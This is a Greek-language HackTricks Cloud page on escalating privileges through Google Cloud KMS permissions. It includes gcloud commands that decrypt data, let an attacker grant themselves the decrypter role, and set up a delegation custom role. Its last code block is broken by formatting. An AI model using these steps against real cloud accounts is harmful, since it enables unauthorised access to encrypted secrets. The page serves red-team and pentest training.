GCP - KMS Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
KMS
Πληροφορίες για το KMS:
Σημειώστε ότι στο KMS τα δικαιώματα δεν κληρονομούνται μόνο από Orgs, Folders και Projects αλλά και από Keyrings.
cloudkms.cryptoKeyVersions.useToDecrypt
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να αποκρυπτογραφήσετε πληροφορίες με το κλειδί για το οποίο έχετε αυτήν την άδεια.
Αποκρυπτογράφηση δεδομένων χρησιμοποιώντας το κλειδί KMS
```bash gcloud kms decrypt \ --location=[LOCATION] \ --keyring=[KEYRING_NAME] \ --key=[KEY_NAME] \ --version=[KEY_VERSION] \ --ciphertext-file=[ENCRYPTED_FILE_PATH] \ --plaintext-file=[DECRYPTED_FILE_PATH] ```cloudkms.cryptoKeys.setIamPolicy
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να δώσει στον εαυτό του δικαιώματα για να χρησιμοποιήσει το κλειδί για να decrypt πληροφορίες.
Παραχωρήστε στον εαυτό σας τον ρόλο KMS decrypter
```bash gcloud kms keys add-iam-policy-binding [KEY_NAME] \ --location [LOCATION] \ --keyring [KEYRING_NAME] \ --member [MEMBER] \ --role roles/cloudkms.cryptoKeyDecrypter ```cloudkms.cryptoKeyVersions.useToDecryptViaDelegation
Ακολουθεί μια εννοιολογική ανάλυση του πώς λειτουργεί αυτή η εκχώρηση:
- Service Account A έχει άμεση πρόσβαση για decrypt χρησιμοποιώντας ένα συγκεκριμένο key στο KMS.
- Service Account B έχει χορηγηθεί η άδεια
useToDecryptViaDelegation. Αυτό της επιτρέπει να ζητήσει από το KMS να decrypt δεδομένα εκ μέρους του Service Account A.
Η χρήση αυτής της άδειας είναι ενσωματωμένη στον τρόπο με τον οποίο η υπηρεσία KMS ελέγχει τα δικαιώματα όταν γίνεται ένα αίτημα decrypt.
Όταν κάνετε ένα τυπικό αίτημα decrypt χρησιμοποιώντας το Google Cloud KMS API (σε Python ή άλλη γλώσσα), η υπηρεσία ελέγχει εάν ο ζητών service account έχει τα απαραίτητα δικαιώματα. Εάν το αίτημα γίνεται από έναν service account με την useToDecryptViaDelegation άδεια, το KMS επαληθεύει εάν αυτός ο λογαριασμός έχει το δικαίωμα να αιτηθεί decrypt εκ μέρους του φορέα που κατέχει το key.
Ρύθμιση για εκχώρηση
- Define the Custom Role: Δημιουργήστε ένα αρχείο YAML (π.χ.,
custom_role.yaml) που ορίζει το custom role. Αυτό το αρχείο πρέπει να περιλαμβάνει την άδειαcloudkms.cryptoKeyVersions.useToDecryptViaDelegation. Εδώ είναι ένα παράδειγμα του πώς μπορεί να μοιάζει αυτό το αρχείο:
Custom role YAML definition
```yaml title: "KMS Decryption via Delegation" description: "Allows decryption via delegation" stage: "GA" includedPermissions: - "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation" ```- Δημιουργήστε τον Προσαρμοσμένο Ρόλο χρησιμοποιώντας το gcloud CLI: Χρησιμοποιήστε την παρακάτω εντολή για να δημιουργήσετε τον προσαρμοσμένο ρόλο στο έργο Google Cloud σας:
Δημιουργία προσαρμοσμένου ρόλου KMS
```bash gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml ``` Αντικαταστήστε το `[YOUR_PROJECT_ID]` με το Google Cloud project ID.- Grant the Custom Role to a Service Account: Αντιστοιχίστε το custom role σας σε ένα service account που θα χρησιμοποιεί αυτήν την άδεια. Χρησιμοποιήστε την ακόλουθη εντολή:
Grant custom role to service account
```bash # Give this permission to the service account to impersonate gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \ --role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID]
–member=“serviceAccount:[SERVICE_ACCOUNT_EMAIL]”
–role=“projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation”
Αντικαταστήστε το [YOUR_PROJECT_ID] και το [SERVICE_ACCOUNT_EMAIL] με το project ID σας και το email του service account, αντίστοιχα.
</details>
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

